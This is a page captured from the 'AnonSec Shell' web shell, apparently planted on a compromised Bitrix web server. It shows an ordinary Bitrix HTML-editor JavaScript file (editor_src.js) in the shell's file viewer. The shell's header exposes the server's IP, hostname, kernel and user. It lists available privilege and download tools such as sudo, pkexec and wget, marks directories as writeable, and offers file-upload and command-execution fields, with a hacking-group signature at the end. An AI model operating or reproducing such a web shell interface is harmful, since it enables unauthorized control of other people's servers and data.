AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.141.198.108
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/fileman/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/fileman/js/editor_src.js
BXHTMLEditor.prototype.SetCodeEditorContent = function(sContent)
{
	sContent = sContent.replace(/^[\s\S]*?<body.*?>/i, "");
	sContent = sContent.replace(/<\/body>[\s\S]*?$/i, "");
	sContent = sContent.replace(/<\/html>[\s\S]*?$/i, "");

	this.pSourceFrame.value = sContent;
	return true;
	////
	var src = bxhtmlspecialchars(sContent).replace(/\r\n/g, '<br>');
	src = src.replace(/([a-z]+)=&quot;(.+?)&quot;/g, "<font color=blue>$1</font>=&quot;<font color=green>$2</font>&quot;");
	src = src.replace(/&lt;([a-z]+)/g, "&lt;<font color=#000099>$1</font>");
	src = src.replace(/&lt;\/([a-z]+)/g, "&lt;/<font color=#000099>$1</font>");

	this.pSourceWindow.document.body.innerHTML	= '<pre id="content">'+src+'</pre>';
	if(!this.pSourceDocument.body.contentEditable)
	{
		var c = this.pSourceDocument.getElementById('content'); // ���� � FF ����� ���������� �������
		/*
		alert(c);
		var obj = this;
		setTimeout(function()
			{
				c = obj.pSourceDocument.getElementById('content'); // ���� � FF ����� ���������� �������
				alert('1'+obj.pSourceDocument.innerHTML);
				obj.pSourceDocument.designMode='on';
			}, 10000
		);
		//c = this.pSourceDocument.getElementById('content'); // ���� � FF ����� ���������� �������
		//alert(c);
		*/
		this.pSourceDocument.designMode='on';
	}
}

BXHTMLEditor.prototype.GetCodeEditorContent = function()
{
	return this.pSourceFrame.value;
	//////////////////
	if(this.pSourceDocument.body.innerText)
		return this.pSourceDocument.body.innerText;

	var html = this.pSourceWindow.document.body.ownerDocument.createRange();
	html.selectNodeContents(this.pSourceWindow.document.body);
    return html.toString().replace(/\xA0+/g, ' ');
}

BXHTMLEditor.prototype.SetView = function(sType)
{
	this.SaveContent();
	switch(sType)
	{
		case 'code':
			this.pSourceFrame.style.height = "100%";
			this.pEditorFrame.style.display = "none";
			this.pSourceFrame.style.display = "inline";
			this.SetCodeEditorContent(this.GetContent());
			break;
		case 'split':
			this.pEditorFrame.style.height = "50%";
			this.pSourceFrame.style.height = "50%";
			this.pSourceFrame.style.display = "inline";
			this.pEditorFrame.style.display = "block";
			if(this.sEditorMode == 'code')
				this.SetEditorContent(this.GetContent());
			else if(this.sEditorMode == 'html')
				this.SetCodeEditorContent(this.GetContent());
			else
			{
				this.SetCodeEditorContent(this.GetContent());
				this.SetEditorContent(this.GetContent());
			}
			break;
		default:
			this.pEditorFrame.style.height = "100%";
			this.pSourceFrame.style.display = "none";
			this.pEditorFrame.style.display = "block";
			this.SetEditorContent(this.GetContent());
			sType = "html";
	}

	this.sEditorMode = sType;
	this.OnEvent("OnChangeView", [this.sEditorMode, this.sEditorSplitMode]);
	//this.LoadContent();
}

Anon7 - 2022
AnonSec Team